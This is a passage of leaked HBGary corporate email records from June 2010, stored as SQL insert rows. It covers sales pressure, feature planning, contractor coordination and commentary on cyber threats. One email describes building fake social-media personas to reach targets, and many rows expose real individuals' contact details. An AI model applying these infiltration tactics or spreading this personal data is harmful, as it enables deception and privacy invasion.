does number two mean? We do this, do you mean\r\nunpacking them?\r\n\r\n&nbsp;\r\n\r\nThird, Woody at DHS is asking what we want to do, registery,\r\naccording to Martin is about 50% done.&nbsp; Would it be better to do things &#8220;automagically&#8221;\r\nlike expose all pictures? (jpegs, etc)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:51 PM\r\nTo: all@hbgary.com\r\nSubject: RE: Next iteration is coming up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg \r\n\r\n&nbsp;\r\n\r\nExpose memory forensics data from endpoints in the AD web\r\ninterface.\r\n\r\n&nbsp;\r\n\r\nStart doing some disk functions like collecting files and\r\nfolders that match queries.\r\n\r\n&nbsp;\r\n\r\nAs part of the botnet contract add-on money we proposed\r\ndeveloping features for registry forensics.&nbsp; The SOW is attached.&nbsp;\r\nSee what we proposed for this on page 3.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:56 PM\r\nTo: all@hbgary.com\r\nSubject: Next iteration is coming up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is your chance to vote for your #1 feature.&nbsp; You can\r\nask, plead, beg, or bribe us with beer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe next iteration is being planned tommorow, cards are\r\ngoing up, and we plan on focusing on bug fixes and smaller features.&nbsp; We\r\nmay include a big feature as well, depending on how the timeline looks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/29/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6761,'aaron_hbgary_com/6761.html'),(8002,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006180.M342540P14101Q2857.eml','\"Aaron Barr\" <aaron@hbgary.com>','Give Brad a call for lunch',' \r\nAaron,\r\n \r\nYou are hyper intelligent and very abstract, way more than Ted is - Ted is an awesome ops guy - together you two should be killing it - but you aren&#39;t - so why? I think i figured it out this evening - you aren&#39;t selling.  Selling isn&#39;t about ideas, its about quantity - I tried to get Bob to work for you back in Q1 because I thought he was better for HBG fed - I still think that.  You recently met with IOMaxis and you now know they do unsol. props like 5-10 a month - did that surprise you?  I think you are new to this owning-your-own-company thing - you need to be scraping and begging for business, but neither you or Ted seem to have this urgency of need.  \r\n\r\n \r\nI think I made a mistake by not being more involved in your day-2-day - I guess I am overwhelmed with Hbgary proper&#39;s problems in getting product to market.  you are feeling the crunch now, you can&#39;t pay yourself because you are now responsible for mark.  welcome to the real world.  penny and I have dumped 500K so far into HBGary proper to cover payrolls over the last 5 years, and we haven&#39;t been paid back.  That is reality when you are a startup.  You should learn from IOMaxis - they don&#39;t write so many unsol&#39;s because they like to write. They are just like you - and maybe you need to start learning how it works on the outside - outside of N.G. - this is your chance to be a real CEO and make a real company - give Brad Buher a call and go to lunch and talk about this shit - he will have alot of good advice for you, if you can pin him down long enough for a talk.\r\n\r\n \r\nCheers,\r\n-Greg\r\n',10053,'aaron_hbgary_com/10053.html'),(8003,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006180.M658135P14101Q2858.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','this guy\'s program is blown?',' \r\nThis guy:\r\n \r\nrussell.beasley-02@macdill.af.mil\r\n \r\nHis digital-cover ops / program is posted all over the &#39;net as of like 15 days ago.  Not sure wtf that is about.  Here are the links I have found:\r\n \r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBIQFjAA&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2FFBO-02184732.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNH0yml3Q-ZCNaTNdmqvhhHI4_hEnw\r\n\r\n \r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=2&amp;ved=0CBUQFjAB&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2Fr-src.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIx_JrrOPkBfuJqEI2F64sb5kYlw\r\n\r\n \r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=3&amp;ved=0CBoQFjAC&amp;url=http%3A%2F%2Fwww.slbid.com%2Fgovernment_bids%2Findex.htm%3Fbt%3D1%26so%3Da%26otp%3Dfed%26st%3D60504000%26pageno%3D3&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIyb32PqVasLSeLaT2DHYxRo5aoQ\r\n\r\n \r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=d88e9d660336be91552fe8c1a51bacb2&amp;tab=core&amp;_cview=1\r\n\r\n \r\nwhoa man.\r\n \r\n-G\r\n',7531,'aaron_hbgary_com/7531.html'),(8004,'2010-06-30','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>','/aaron@hbgary.com/new/1297006180.M886270P14101Q2859.eml','\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"Barbara.G.Fast@boeing.com\" <Barbara.G.Fast@boeing.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"ccpalmer@us.ibm.com\" <ccpalmer@us.ibm.com>,\"coxld@saic.com\" <coxld@saic.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"ed.gibson@us.pwc.com\" <ed.gibson@us.pwc.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"jpayne@telcordia.com\" <jpayne@telcordia.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"jwatters@isightpartners.com\" <jwatters@isightpartners.com>,\"kathy.warden@ngc.com\" <kathy.warden@ngc.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"rdix@juniper.net\" <rdix@juniper.net>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"samuel.chun@hp.com\" <samuel.chun@hp.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"shawn.carroll@qwest.com\" <shawn.carroll@qwest.com>,\"skip.foote@americansystems.com\" <skip.foote@americansystems.com>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"svisner@csc.com\" <svisner@csc.com>,\"tiffany_jones@symantec.com\" <tiffany_jones@symantec.com>,\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>','Re: Collaboration Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nBill,I think its a fine idea if we can define a value added perspective. It would also serve as a good ice breaker for the team. On Monday, colleagues and I spent the better part of the day with Howard in our role as executive sponsors of the Transglobal Secure Collaboration Program (www.tscp.org). Some of that time was spent specifically discussing our TSCP-NSTI perspective in context of TSCP as an internationally constituted A&amp;D industry heavy body. A few of more general points from that session:• HS is getting significant and pointed feedback from all quarters and is trying to read all the input personally. • He is planning to turn the paper into clear Obama Administration guidance by late summer or early fall. • HS expressed sensitivity to his paper being miscast as a description of a &quot;national ID card&quot; program, mandated by the government. • He described NSTI as  federated identity management to be implemented largely by the private sector in an operational public-private partnership.  • HS believed that the general public need not shoulder the full weight of cybersecurity decision making.  • He indicated that network providers and others should assume responsibility for making smart infrastructure and operational choices that advanced cybersecurity as a integral feature of their offerings. jloJohn OsterholzVice PresidentCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;To: aaron@hbgary.com &lt;aaron@hbgary.com&gt;; alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;Cc: Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;Sent: Sat Jun 26 18:47:35 2010Subject: Collaboration Opportunity\r\n\r\n\r\n\r\n\r\nLadies &amp; Gents,\r\n\r\n&nbsp;\r\n\r\nThe draft National Strategy for Trusted Identities in Cyberspace\r\nwas released yesterday by Howard Schmidt (website below). This follows some of\r\nthe same themes we were discussing at the dinner – that is –\r\ntrusted transactions over untrusted networks.\r\n\r\n&nbsp;\r\n\r\nThere is an opportunity for comment by July 19. This is a\r\ngreat &nbsp;opportunity to test the collaboration I was suggesting at the\r\ndinner, and this is indeed an opportunity to use our influence. I would like to\r\nput together a response from the ExecutiveBiz Cyber Group if you are willing. When\r\nyou have a chance to read the document, let’s start some communication.\r\nJennifer is going to get us together for breakfast but we will have to respond\r\nto this draft before we can get together.\r\n\r\n&nbsp;\r\n\r\nhttp://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspace\r\n\r\n&nbsp;\r\n\r\nThanks,&nbsp; Bill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive, Suite\r\n500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11905,'aaron_hbgary_com/11905.html'),(8005,'2010-06-30','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297006182.M581027P14101Q2860.eml',',,,','UNO - Ergostar II Task Order Announcement  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\n&nbsp;\r\n\r\nGood Morning,\r\n\r\n&nbsp;\r\n\r\nPlease find attached, the Ergostar Task Order Unclassified\r\nannouncement and Initial Security Information attachment.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply Chain\r\nManagement\r\n\r\nSubcontract Administrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone: 703-466-1307\r\n\r\nFAX: 703-466-1270\r\n\r\ne-mail: Colleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',728,'aaron_hbgary_com/728.html'),(8006,'2010-06-30','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297006194.M176810P14101Q2861.eml','\"Aaron Barr\" <aaron@hbgary.com>','Guide','',2559,'aaron_hbgary_com/2559.html'),(8007,'2010-06-30','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297006195.M117724P14101Q2862.eml',',,,','UNO - Ergostar II Task Order Announcement   - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n&nbsp;\r\n\r\nPlease find attached, the Ergostar Task Order Unclassified\r\nannouncement and Initial Security Information attachment.\r\n\r\n&nbsp;\r\n\r\nPlease note that the Initial Interest confirmation is due NLT\r\nFriday July 2nd at Noon.\r\n\r\n&nbsp;\r\n\r\nThank you and sorry for any confusion.\r\n\r\n&nbsp;\r\n\r\nJ\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply\r\nChain Management\r\n\r\nSubcontract\r\nAdministrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone:\r\n703-466-1307\r\n\r\nFAX:\r\n703-466-1270\r\n\r\ne-mail:\r\nColleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8527,'aaron_hbgary_com/8527.html'),(8008,'2010-06-30','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297006195.M355911P14101Q2863.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meet','Aaron, are you in Bethesda today? I\'ll be in the office there most of the day. Would like to make arrangements for you to meet Ken Bajaj. I trust all is well. Best, Bill',7440,'aaron_hbgary_com/7440.html'),(8009,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006195.M713198P14101Q2864.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: U.S. falls into second place for Cyber Capability','Its not going to get any better any time soon either. &nbsp;If I had to take a guess I would say there is going to be a resurgence of black ops in the coming year as decision makers settle with our inadequacies in securing our commons. &nbsp;Critical infrastructure, finance, defense industrial base, and government have rivers of unauthorized communications flowing from them and there are no real efforts to stop it, to organize our defense. &nbsp;The defense problem is too complex with too many stakeholders that don\'t want to acquiesce authority.Add to this the social piece. &nbsp;This piece increasingly scares the shit out of me. &nbsp;The only thing that keeps me grounded is I am not sure our adversaries have organized around it enough yet to use it to its full potential.Let me give you a few scenarios.Linkedin is by far the most egregious social media source that can be used by adversaries. &nbsp;Want to find a list of Apple iPhone SW engineers that work in cupertino, no problem. &nbsp;Want to find out who manages the cyber strategy for the major defense contractors, no problem. &nbsp;You mentioned military house wives. &nbsp;Women are the largest growing population for facebook and social gaming. &nbsp;Military people are not supposed to release information about movements, tactics, etc. &nbsp;but who doesn\'t talk to their spouse, especially if your separated by thousands of miles, about details of their day. &nbsp;What a wealth of information that can be easily harvested. &nbsp;Social networks function by associations. &nbsp;How do you reach a person that normally might be unreachable. &nbsp;Start low and around the periphery, work slowly towards the target, joining groups and adding friends that get you closer. &nbsp;By the time you reach the target you have a history and circle of friends that vets you.Sophos recently did a study where they created a facebook profile and just started randomly friending people. &nbsp;46% accepted. &nbsp;Imagine if you put some thought into the profile. &nbsp;Create an energy profile. &nbsp;A guy who has the right schooling, background, jobs. &nbsp;Nothing too senior, program manager or senior engineer, depending on which role you can pull off. &nbsp;Join some groups, start chatting a bit. &nbsp;Then start friending. &nbsp;I am betting the number is waaayyyy higher.People don\'t understand the value of little bits of information. &nbsp;Against a competent adversary, there are no more defenses that can keep us safe, unless we turn the web into something completely different.What happens when malware gives way to intelware. &nbsp;Exploitation of boxes decreases and exploitation of data increases. &nbsp;Intelware is very difficult to detect because it may be masked in completely legitimate software that just collects information.AaronOn Jun 30, 2010, at 2:04 AM, Greg Hoglund wrote:Surrounded by retardsMy god.&nbsp; The enemy can break into our systems using archived exploits from 5 years ago, they can type in a search term like it was google, find a vulnerable server in D.C., and just click-and-exploit the thing.&nbsp; They can queue 1,000 spearfishing emails against the government of South Africa in one click, informed all by Google searches.&nbsp; Someone will click the PDF.&nbsp; The RAT\'s bypass AV by definition, because they wouldn\'t be RAT\'s if they didn\'t pass the QA.&nbsp; And now social networks are closing the gap between attacker and victim, to the point I just found (via linked-in)&nbsp;112 females, wives of service men, all stationed at Hurlbert Field FL - in case you don\'t know this is where the CIA flies all their \"private\" airlines out of.&nbsp; What a damn joke - the U.S. is no longer the super power in cyber, and probably won\'t be in other areas soon.&nbsp; We are going down fast.&nbsp; If we don\'t get our shit together soon, I don\'t know what to say.&nbsp; I\'m kind-of freaked out by this sudden realization.&nbsp; The U.S. is no longer the lead - we are like the 2nd world nations trying to keep up now.&nbsp; China and Israel are in the lead.-Greg&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',19,'aaron_hbgary_com/19.html'),(8010,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006196.M15413P14101Q2865.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Give Brad a call for lunch','Greg,\r\n\r\nThanks for the criticism.  I think its valid.  We are going to do just that on the unsolicited proposals.  While I understand malware to a degree and I get the big picture for defense, and I think we have put together a credible story and capability around incident response, I don\'t have the expertise as you and your team does.  But Social Media, in this area I am a demonstrated expert.\r\n\r\nTed and I are dusting off a whitepaper we put together for an opportunity at SOCOM that got dropped, finish it, and start shopping it around the various organizations, setting up meetings to talk about social media, exploitation, and persistent internet operations.  This will turn in to work I am sure.  On top of this I am working on a 1 day training course for organizations to understand the components of social media, their uses, their risks, usecases, and how to monitor information exposure.\r\n\r\nI\'ll give Brad a call.\r\n\r\nAaron\r\n\r\n\r\nOn Jun 30, 2010, at 2:27 AM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron,\r\n>  \r\n> You are hyper intelligent and very abstract, way more than Ted is - Ted is an awesome ops guy - together you two should be killing it - but you aren\'t - so why? I think i figured it out this evening - you aren\'t selling.  Selling isn\'t about ideas, its about quantity - I tried to get Bob to work for you back in Q1 because I thought he was better for HBG fed - I still think that.  You recently met with IOMaxis and you now know they do unsol. props like 5-10 a month - did that surprise you?  I think you are new to this owning-your-own-company thing - you need to be scraping and begging for business, but neither you or Ted seem to have this urgency of need.  \r\n>  \r\n> I think I made a mistake by not being more involved in your day-2-day - I guess I am overwhelmed with Hbgary proper\'s problems in getting product to market.  you are feeling the crunch now, you can\'t pay yourself because you are now responsible for mark.  welcome to the real world.  penny and I have dumped 500K so far into HBGary proper to cover payrolls over the last 5 years, and we haven\'t been paid back.  That is reality when you are a startup.  You should learn from IOMaxis - they don\'t write so many unsol\'s because they like to write. They are just like you - and maybe you need to start learning how it works on the outside - outside of N.G. - this is your chance to be a real CEO and make a real company - give Brad Buher a call and go to lunch and talk about this shit - he will have alot of good advice for you, if you can pin him down long enough for a talk.\r\n>  \r\n> Cheers,\r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9078,'aaron_hbgary_com/9078.html'),(8011,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006196.M280960P14101Q2866.eml','\"William Luti\" <williamluti@verizon.net>','Re: Meet','Hi Bill,\r\n\r\nSorry I dropped the ball and didn\'t get you some information you asked for.\r\n\r\nOn Mandiant I don\'t have a lot of good contacts at the senior level, since they are our biggest competitor we haven\'t reached out to them a lot.\r\n\r\nOn Fidelis, start with David Etue .  Dave just left FIdelis to open is own consulting practice but he is good friends with the Founder and still a significant owner of the company.\r\n\r\nI am downtown most of today for a few meetings.  What date/time were you thinking?\r\n\r\nAaron\r\n\r\n\r\nOn Jun 30, 2010, at 8:58 AM, William Luti wrote:\r\n\r\n> Aaron, are you in Bethesda today? I\'ll be in the office there most of the day. Would like to make arrangements for you to meet Ken Bajaj. I trust all is well. Best, Bill\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14842,'aaron_hbgary_com/14842.html'),(8012,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006196.M649607P14101Q2867.eml','\"David Etue\" <david@etue.net>,\"David Etue\" <david@etue.net>','Introduction','Dave,\r\n\r\nLet me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n\r\nBill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',823,'aaron_hbgary_com/823.html'),(8013,'2010-06-30','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297006196.M927175P14101Q2868.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     william@verizon.net\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 5.1.1 unknown or illegal alias: william@verizon.net (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.101.4.26 with SMTP id g26mr10394784ani.157.1277904162932;\r\n        Wed, 30 Jun 2010 06:22:42 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [192.168.5.245] ([64.134.68.175])\r\n        by mx.google.com with ESMTPS id p12sm67709756ane.14.2010.06.30.06.22.37\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Wed, 30 Jun 2010 06:22:38 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-190--1050754828; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Introduction\r\nDate: Wed, 30 Jun 2010 09:22:35 -0400\r\nMessage-Id: \r\nCc: Bill Luti \r\nTo: David Etue \r\nMime-Version: 1.0 (Apple Message framework v1081)\r\nX-Mailer: Apple Mail (2.1081)\r\n\r\nDave,\r\n\r\nLet me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n\r\nBill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14180,'aaron_hbgary_com/14180.html'),(8014,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006197.M130469P14101Q2869.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: Guide','wholly shit! thats it.\r\n\r\n\"CNN and MSNBC actively engage audiences through RSS Feeds, BLOGS, and endeavors such as iReport\".\r\n\r\nBP has recently had their PR hijacked by a group that started publicizing #BPGlobalPR, which now has 180K follows vs. BPs actual twitter PR account has 16K followers.  The parody has become a viral hit.  This is a completely new environment.  Screw developing malware, the new attack vector is intelware, exploiting information rather than systems.  Man things just keep getting worse.\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 8:31 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6199,'aaron_hbgary_com/6199.html'),(8015,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006197.M367791P14101Q2870.eml','\"David Etue\" <david@etue.net>,\"David Etue\" <david@etue.net>','Introduction - (right address for Bill)','Dave,\r\n\r\nLet me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n\r\nBill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',803,'aaron_hbgary_com/803.html'),(8016,'2010-06-30','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297006197.M621818P14101Q2871.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meet','Thanks Aaron. Might be best if I have Ken\'s assistant (Barbara Barnes) give you a call as she handles Ken\'s schedule. But I would hope we could do it later this week or certainly next week. Thanks again. Bill\r\nOn Jun 30, 2010, at 9:13 AM, Aaron Barr wrote:\r\n\r\n> Hi Bill,\r\n> \r\n> Sorry I dropped the ball and didn\'t get you some information you asked for.\r\n> \r\n> On Mandiant I don\'t have a lot of good contacts at the senior level, since they are our biggest competitor we haven\'t reached out to them a lot.\r\n> \r\n> On Fidelis, start with David Etue .  Dave just left FIdelis to open is own consulting practice but he is good friends with the Founder and still a significant owner of the company.\r\n> \r\n> I am downtown most of today for a few meetings.  What date/time were you thinking?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jun 30, 2010, at 8:58 AM, William Luti wrote:\r\n> \r\n>> Aaron, are you in Bethesda today? I\'ll be in the office there most of the day. Would like to make arrangements for you to meet Ken Bajaj. I trust all is well. Best, Bill\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',16785,'aaron_hbgary_com/16785.html'),(8017,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006234.M891490P14101Q2872.eml','\"William Luti\" <williamluti@verizon.net>','Re: Meet','Sounds good.\r\n\r\nAttached is our general services offering datasheet and a presentation I gave at the NSA REBL conference a few weeks ago.  The presentation was such a hit I am building a specific capability around social media which includes a training course for organizations and services capability for blue and red teams to monitor information exposure and develop capabilities to test information control.\r\n\r\nAaron\r\n\r\n',7221,'aaron_hbgary_com/7221.html'),(8018,'2010-06-30','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006237.M670279P14101Q2873.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n\r\n\r\nOn 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n> Dave,\r\n>\r\n> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill 